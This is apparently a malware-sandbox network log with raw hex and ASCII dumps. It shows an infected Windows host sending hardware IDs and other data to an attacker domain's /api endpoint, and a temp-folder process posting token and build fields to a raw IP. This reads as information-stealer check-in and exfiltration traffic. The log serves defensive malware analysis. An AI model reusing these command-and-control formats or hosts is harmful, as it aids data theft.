2024-05-24 11:43:58 UTC	557	IN	Data Raw: 63 64 64 0d 0a 4a 68 72 6e 36 74 32 54 62 39 57 67 4d 58 70 70 7a 65 57 4f 79 6c 6f 46 71 36 61 38 79 6e 42 6b 5a 5a 41 4e 4e 36 39 38 53 61 52 64 4f 4a 48 49 35 36 64 44 39 39 4e 55 57 46 4f 35 6c 2f 75 76 64 69 66 4b 77 70 37 77 46 67 55 4a 34 32 67 62 6a 52 6b 78 68 68 78 42 6e 4d 69 34 2f 55 33 76 67 6c 51 51 43 36 79 4a 37 4b 73 78 61 74 76 4b 33 36 49 63 41 77 33 31 62 6c 50 4f 45 43 54 42 51 33 2b 47 67 4c 50 36 41 72 33 4e 45 31 5a 4c 71 4a 2b 73 38 48 68 49 7a 74 4c 64 68 78 45 58 44 72 4a 77 47 39 52 65 4c 4d 6f 45 49 4d 57 4c 75 50 45 44 73 38 52 61 45 67 47 6c 67 65 32 75 4d 48 58 43 77 4e 53 69 45 67 41 4d 2f 32 64 48 77 78 6f 6a 79 6b 56 31 68 73 6a 78 73 51 71 76 67 67 74 59 57 4a 32 45 2f 62 6b 74 61 74 6e 43 6e 72 64 63 48 30 66 31 59 78 Data Ascii: cddJhrn6t2Tb9WgMXppzeWOyloFq6a8ynBkZZANN698SaRdOJHI56dD99NUWFO5l/uvdifKwp7wFgUJ42gbjRkxhhxBnMi4/U3vglQQC6yJ7KsxatvK36IcAw31blPOECTBQ3+GgLP6Ar3NE1ZLqJ+s8HhIztLdhxEXDrJwG9ReLMoEIMWLuPEDs8RaEgGlge2uMHXCwNSiEgAM/2dHwxojykV1hsjxsQqvggtYWJ2E/bktatnCnrdcH0f1Yx
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 4e 49 68 64 4f 49 4b 45 2f 36 6c 4e 75 63 64 63 43 67 71 39 67 75 4b 36 4e 47 4c 50 79 64 32 6d 45 67 4d 41 2f 32 46 54 79 68 30 6a 77 6b 56 32 69 59 4b 38 39 51 37 33 6a 42 4d 66 45 2b 2f 66 72 4a 6b 37 59 38 37 57 33 61 5a 53 47 55 6e 72 4c 31 4c 42 58 6e 4f 47 54 6e 36 49 67 62 54 32 42 62 76 51 57 42 63 49 70 6f 44 71 6f 6a 74 76 77 38 4c 51 71 52 55 44 41 4f 42 68 58 73 41 64 49 63 41 45 4e 73 57 50 70 37 46 56 39 2b 78 51 43 52 32 64 68 50 32 35 65 48 69 48 33 5a 36 76 48 6b 5a 66 73 6d 5a 64 77 68 4d 6d 7a 45 70 39 69 49 47 2b 38 41 43 78 79 56 49 51 41 36 75 41 37 4b 77 31 61 4d 66 45 30 4b 41 58 41 67 33 37 4c 78 75 4e 47 54 4f 47 48 44 69 31 68 62 50 36 41 66 58 33 55 42 59 46 71 4a 47 73 74 33 5a 2b 69 63 50 53 36 45 70 47 46 66 6c 69 56 4d 4d Data Ascii: NIhdOIKE/6lNucdcCgq9guK6NGLPyd2mEgMA/2FTyh0jwkV2iYK89Q73jBMfE+/frJk7Y87W3aZSGUnrL1LBXnOGTn6IgbT2BbvQWBcIpoDqojtvw8LQqRUDAOBhXsAdIcAENsWPp7FV9+xQCR2dhP25eHiH3Z6vHkZfsmZdwhMmzEp9iIG+8ACxyVIQA6uA7Kw1aMfE0KAXAg37LxuNGTOGHDi1hbP6AfX3UBYFqJGst3Z+icPS6EpGFfliVMM
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 6a 69 43 6b 50 2b 70 54 59 48 53 58 68 51 6c 70 49 76 6c 36 43 63 70 30 49 54 5a 70 46 4a 65 52 2f 5a 6a 58 63 63 52 49 73 78 4f 64 34 79 49 74 2f 67 45 74 4d 4a 66 48 67 71 6a 69 2b 47 74 4f 32 4c 45 77 64 36 6b 46 51 45 47 73 69 45 56 79 67 5a 72 6e 67 52 49 69 49 53 30 2f 55 2b 43 77 56 30 57 44 4c 6e 48 38 2b 59 68 4a 38 37 49 6e 76 42 53 43 51 62 2f 5a 56 37 44 45 69 72 47 51 48 75 50 69 4c 44 30 43 37 2f 4c 55 77 6f 4d 6f 49 62 74 6f 7a 4e 71 78 38 48 66 72 52 56 47 53 62 4a 6f 54 59 31 47 61 2b 74 74 51 73 57 58 38 65 68 4e 73 4d 34 54 51 45 75 72 6a 65 79 6c 4d 6d 7a 47 78 39 6d 6d 45 67 73 4e 34 47 64 56 7a 52 41 74 78 30 68 39 68 49 53 38 34 77 47 78 7a 31 55 51 47 65 2f 4a 72 4b 38 67 4a 35 47 45 2f 71 4d 65 42 51 76 7a 61 42 66 73 46 43 6a 4e Data Ascii: jiCkP+pTYHSXhQlpIvl6Ccp0ITZpFJeR/ZjXccRIsxOd4yIt/gEtMJfHgqji+GtO2LEwd6kFQEGsiEVygZrngRIiIS0/U+CwV0WDLnH8+YhJ87InvBSCQb/ZV7DEirGQHuPiLD0C7/LUwoMoIbtozNqx8HfrRVGSbJoTY1Ga+ttQsWX8ehNsM4TQEurjeylMmzGx9mmEgsN4GdVzRAtx0h9hIS84wGxz1UQGe/JrK8gJ5GE/qMeBQvzaBfsFCjN
2024-05-24 11:43:58 UTC	5	IN	Data Raw: 61 34 2f 0d 0a Data Ascii: a4/
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 32 62 33 62 0d 0a 77 47 35 7a 31 6b 62 42 75 2f 4a 72 4b 38 67 4a 35 47 45 38 71 38 66 4b 41 7a 2b 61 42 58 53 55 44 4b 47 51 33 54 46 30 50 2f 39 42 37 76 4c 55 78 45 4f 70 34 7a 6c 72 54 6c 73 7a 4d 66 59 70 52 30 50 46 66 68 73 57 38 34 53 4a 38 42 46 65 35 65 41 74 72 46 44 39 38 56 4c 57 46 50 76 70 75 4b 6c 4c 47 44 5a 68 4d 48 6d 43 30 59 41 2f 69 38 4e 6a 52 30 71 79 55 64 35 69 49 36 32 2b 51 32 78 78 31 77 56 42 61 69 41 37 4b 55 32 61 4d 2f 4d 30 36 51 5a 43 41 37 30 62 31 54 48 58 6d 57 47 51 32 44 46 30 50 2f 42 44 72 66 43 53 46 67 55 34 5a 36 73 72 7a 51 6e 6b 59 54 4d 6f 68 73 47 42 50 31 6f 55 63 59 53 4c 73 4e 4c 65 34 79 4e 74 76 38 66 76 73 78 62 45 41 53 71 6a 4f 79 6c 4d 6d 76 4a 78 35 37 6d 55 67 45 66 73 6a 63 56 2f 78 4d 6e 30 45 Data Ascii: 2b3bwG5z1kbBu/JrK8gJ5GE8q8fKAz+aBXSUDKGQ3TF0P/9B7vLUxEOp4zlrTlszMfYpR0PFfhsW84SJ8BFe5eAtrFD98VLWFPvpuKlLGDZhMHmC0YA/i8NjR0qyUd5iI62+Q2xx1wVBaiA7KU2aM/M06QZCA70b1THXmWGQ2DF0P/BDrfCSFgU4Z6srzQnkYTMohsGBP1oUcYSLsNLe4yNtv8fvsxbEASqjOylMmvJx57mUgEfsjcV/xMn0E
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 76 50 49 45 73 4d 70 66 45 67 69 6f 78 36 4c 6f 50 33 2b 4a 6e 4a 36 4c 42 52 59 4b 73 6e 41 62 31 46 34 73 79 67 51 67 78 59 43 79 2b 51 65 7a 78 56 34 66 44 61 61 56 35 61 30 32 5a 38 33 50 30 61 34 57 42 51 66 67 61 56 48 46 48 53 62 4c 53 6e 75 42 79 50 47 78 43 71 2b 43 43 31 67 35 6f 6f 6e 33 70 7a 39 32 77 34 54 42 35 67 74 47 41 50 34 76 44 59 30 61 4a 64 52 50 65 59 36 44 73 66 59 43 73 73 68 54 46 77 2b 73 69 65 65 70 4f 32 2f 45 79 64 43 69 47 77 38 41 2f 6d 74 53 6a 56 42 72 77 56 77 34 33 63 69 55 30 43 43 62 78 55 6c 59 46 4f 47 65 72 4b 38 30 4a 35 47 45 30 71 45 65 44 41 7a 31 5a 56 76 45 45 43 44 55 56 6e 75 42 69 37 62 79 43 72 37 4d 55 78 38 4f 6f 59 44 74 6f 7a 78 74 79 73 4b 65 35 6c 49 42 48 37 49 33 46 65 45 64 4b 38 74 65 4f 4a 72 Data Ascii: vPIEsMpfEgiox6LoP3+JnJ6LBRYKsnAb1F4sygQgxYCy+QezxV4fDaaV5a02Z83P0a4WBQfgaVHFHSbLSnuByPGxCq+CC1g5oon3pz92w4TB5gtGAP4vDY0aJdRPeY6DsfYCsshTFw+sieepO2/EydCiGw8A/mtSjVBrwVw43ciU0CCbxUlYFOGerK80J5GE0qEeDAz1ZVvEECDUVnuBi7byCr7MUx8OoYDtozxtysKe5lIBH7I3FeEdK8teOJr
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 62 72 51 55 42 63 45 71 34 66 6a 72 6a 35 6d 78 73 4c 5a 6f 52 4d 4f 41 4c 49 68 46 63 6f 47 61 35 34 45 56 6f 4b 4c 75 37 45 53 2b 64 73 54 48 77 66 76 33 36 79 6f 4d 6d 33 44 79 74 36 76 41 41 41 4f 38 6d 78 48 7a 68 67 6a 77 45 68 30 69 49 43 32 38 51 69 38 7a 31 67 56 44 61 2b 4d 37 65 68 32 4a 38 37 63 6e 76 42 53 4e 77 72 38 61 31 76 4f 44 69 79 47 57 7a 61 63 79 4c 6a 39 54 65 2b 43 58 42 45 5a 71 49 4c 6b 6f 54 68 70 77 4d 33 5a 72 42 45 48 41 2f 35 67 58 4d 34 57 4b 73 35 4c 65 34 57 44 74 2f 73 4d 75 63 63 54 56 6b 75 6f 6e 36 7a 77 65 45 6a 4b 77 64 57 70 55 43 45 42 39 57 4d 56 30 6c 41 79 68 6b 4e 30 78 64 44 2f 38 67 6d 35 79 31 77 63 41 61 69 48 36 36 34 34 62 38 4c 4a 31 62 6f 58 43 41 4c 7a 62 31 54 43 45 69 76 55 51 58 61 4f 68 62 75 78 Data Ascii: brQUBcEq4fjrj5mxsLZoRMOALIhFcoGa54EVoKLu7ES+dsTHwfv36yoMm3Dyt6vAAAO8mxHzhgjwEh0iIC28Qi8z1gVDa+M7eh2J87cnvBSNwr8a1vODiyGWzacyLj9Te+CXBEZqILkoThpwM3ZrBEHA/5gXM4WKs5Le4WDt/sMuccTVkuon6zweEjKwdWpUCEB9WMV0lAyhkN0xdD/8gm5y1wcAaiH6644b8LJ1boXCALzb1TCEivUQXaOhbux
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 4e 59 52 65 2b 49 72 50 41 42 4a 34 47 45 34 65 5a 53 48 6b 65 71 4c 32 44 4f 45 43 58 42 55 6d 6e 49 71 36 6e 38 41 72 7a 44 45 31 5a 4c 71 63 65 30 2b 48 59 6e 7a 64 57 65 38 45 4a 55 58 4b 63 38 41 70 31 4d 4e 49 68 64 4f 4a 50 49 35 36 4e 44 39 39 41 54 51 45 76 6f 69 65 47 70 4f 32 6e 4b 31 73 79 75 45 52 41 45 74 56 46 72 37 42 4d 67 79 6b 6c 33 6a 72 61 42 30 41 43 38 7a 6c 34 58 41 4a 47 35 2b 61 73 32 61 63 37 53 7a 2b 68 63 52 67 69 79 4e 32 79 4e 56 6d 76 35 43 6a 69 64 79 4f 65 78 4f 4c 54 4d 58 52 38 64 76 73 72 4e 70 54 4e 72 78 4d 76 56 36 46 78 47 41 62 49 33 42 59 4e 65 4c 39 63 45 49 4e 58 61 35 4b 52 65 34 4a 49 42 42 30 57 32 78 2f 72 6f 59 44 57 48 68 4d 7a 6f 53 6b 5a 41 38 58 31 48 79 78 30 39 78 51 4e 47 75 36 75 6f 35 77 65 73 67 Data Ascii: NYRe+IrPABJ4GE4eZSHkeqL2DOECXBUmnIq6n8ArzDE1ZLqce0+HYnzdWe8EJUXKc8Ap1MNIhdOJPI56ND99ATQEvoieGpO2nK1syuERAEtVFr7BMgykl3jraB0AC8zl4XAJG5+as2ac7Sz+hcRgiyN2yNVmv5CjidyOexOLTMXR8dvsrNpTNrxMvV6FxGAbI3BYNeL9cEINXa5KRe4JIBB0W2x/roYDWHhMzoSkZA8X1Hyx09xQNGu6uo5wesg
2024-05-24 11:43:58 UTC	1369	IN	Data Raw: 33 76 71 7a 67 65 46 69 48 68 4d 62 6f 53 6b 59 79 38 57 46 62 79 67 67 36 69 32 46 76 68 70 69 35 38 6b 33 35 67 6c 56 59 55 2f 2f 4a 72 4b 77 70 4a 35 47 55 6a 50 4e 48 56 56 43 69 50 55 71 44 42 32 76 51 42 43 44 58 78 76 2f 6a 54 65 2b 43 46 42 73 5a 76 59 48 76 76 6a 73 67 39 2f 72 34 71 77 4d 4d 4a 76 39 2f 55 76 4d 67 50 73 56 4b 64 6f 4b 65 72 72 46 44 39 38 30 54 51 44 4c 76 7a 36 43 75 4f 33 47 4a 2b 35 44 6f 43 6b 5a 66 73 6c 70 57 77 78 41 73 30 46 55 31 6f 34 75 75 2b 79 79 36 30 6c 52 59 52 65 2b 42 72 50 42 72 4b 59 6e 41 7a 2b 68 4b 56 6c 57 70 4f 67 61 61 54 6e 6e 5a 43 6d 48 46 6e 76 2b 70 58 2f 6d 43 51 56 68 54 37 38 44 76 75 69 70 68 79 74 4c 64 37 79 77 34 4d 76 46 68 57 38 6f 49 48 73 56 56 65 34 57 44 67 63 38 73 75 63 6c 55 46 42 Data Ascii: 3vqzgeFiHhMboSkYy8WFbygg6i2Fvhpi58k35glVYU//JrKwpJ5GUjPNHVVCiPUqDB2vQBCDXxv/jTe+CFBsZvYHvvjsg9/r4qwMMJv9/UvMgPsVKdoKerrFD980TQDLvz6CuO3GJ+5DoCkZfslpWwxAs0FU1o4uu+yy60lRYRe+BrPBrKYnAz+hKVlWpOgaaTnnZCmHFnv+pX/mCQVhT78DvuiphytLd7yw4MvFhW8oIHsVVe4WDgc8suclUFB

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	63804	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:59 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:43:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:59 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:44:00 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j48plpn7sb0420tpl77qpfmvrh; expires=Tue, 17-Sep-2024 05:30:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nNJJlhXKt8oKyS2aL60KC3ZagxZUzsL54QGr402tfLSqe8YjvXYXmegTIsLOIMVU31BKaQB0uYfzEeVQS42PxXKGFC0YO8XFH1O3pm3YE6F8BX4qHIEqfpQvqxA5Lb3mIph84koCz7%2BiHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07fe6d93236b-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:44:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:44:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	63808	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:44:00 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:44:00 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:44:01 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:44:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i5gvfnocs4v72bm1itvg8bjhdt; expires=Tue, 17-Sep-2024 05:30:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9fqp79e0F%2FV6Dw4mV68jy7tAtB9JUY3hDSvcqmE8w4U1TAMn7d0OOufxiqCPjk9Z7QU9VS%2BTv4Fa8AavBd90ISCv3FycJ6u4o%2FXypmXwkylIudA7WB1TLNEKxuQtdF6TWImwMT%2FxEzUMzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0805689f4228-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:44:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:44:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	63809	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:44:01 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDAFIJJECFHJJKFCAKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:44:01 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------EHDAFIJJECFHJJKFCAKJContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------EHDAFIJJECFHJJKFCAKJContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------EHDAFIJJECFHJJKFCAKJCont
2024-05-24 11:44:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:44:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:44:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	63811	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:44:01 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:44:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:44:01 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:44:02 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3b7k3g9c67jii4mpdqt3eh2bhg; expires=Tue, 17-Sep-2024 05:30:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AW5ZNDWj9WMU1SJiz5N0DX3RSNIK%2BI1wg%2BhkeQig7gc3qezVRNATkLHyJjpvlfbrU12Ou59Uy6z1%2FCh4y%2BLSBk7tXXMOB8D90KMtvYbwb8K0IDLTySBSFVGa1WqhgjGmJOeJF9JgXsHlGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d080ada454391-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:44:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:44:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	63813	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:44:02 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
